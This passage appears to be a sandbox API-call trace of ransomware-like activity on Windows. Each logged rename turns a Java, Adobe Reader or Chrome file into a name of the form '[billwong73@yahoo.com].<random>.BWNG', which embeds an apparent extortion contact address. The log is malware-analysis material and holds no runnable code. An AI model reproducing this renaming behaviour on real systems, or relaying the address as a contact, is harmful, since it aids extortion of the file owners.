CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0108.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0108.589] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\cursors.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].7eKsfrbY-w0AyjePn.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].7eksfrby-w0ayjepn.bwng"), dwFlags=0x1) returned 1 [0108.590] GetTickCount () returned 0x1162d19 [0108.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25054198812) returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0108.590] GetTickCount () returned 0x1162d19 [0108.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25054232938) returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0108.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0108.590] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].R0hZ2Kit-ddKE8KW0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].r0hz2kit-ddke8kw0.bwng"), dwFlags=0x1) returned 1 [0108.592] GetTickCount () returned 0x1162d19 [0108.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25054382967) returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0108.592] GetTickCount () returned 0x1162d29 [0108.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25054419779) returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0108.592] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\[billwong73@yahoo.com].L6cYsCs3-yOpKx7ko.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\[billwong73@yahoo.com].l6cyscs3-yopkx7ko.bwng"), dwFlags=0x1) returned 1 [0108.594] GetTickCount () returned 0x1162d29 [0108.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25054588741) returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0108.594] GetTickCount () returned 0x1162d29 [0108.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25054621003) returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0108.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0108.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\meta-index"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].BandRyJS-BPmvR5lV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].bandryjs-bpmvr5lv.bwng"), dwFlags=0x1) returned 1 [0108.595] GetTickCount () returned 0x1162d29 [0108.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25054750690) returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0108.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0108.596] GetTickCount () returned 0x1162d29 [0108.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25054781816) returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.596] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].7DivUERq-5HGBC76K.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].7divuerq-5hgbc76k.bwng"), dwFlags=0x1) returned 1 [0108.737] GetTickCount () returned 0x1162db5 [0108.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25068896690) returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0108.737] GetTickCount () returned 0x1162db5 [0108.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25068934222) returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0108.737] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].vjbc5CL8-lRbUd66h.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].vjbc5cl8-lrbud66h.bwng"), dwFlags=0x1) returned 1 [0108.739] GetTickCount () returned 0x1162db5 [0108.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25069080828) returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0108.739] GetTickCount () returned 0x1162db5 [0108.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25069112617) returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0108.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.739] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\[billwong73@yahoo.com].Wn5klsBM-R8LFYezc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\[billwong73@yahoo.com].wn5klsbm-r8lfyezc.bwng"), dwFlags=0x1) returned 1 [0108.740] GetTickCount () returned 0x1162db5 [0108.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25069269052) returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, 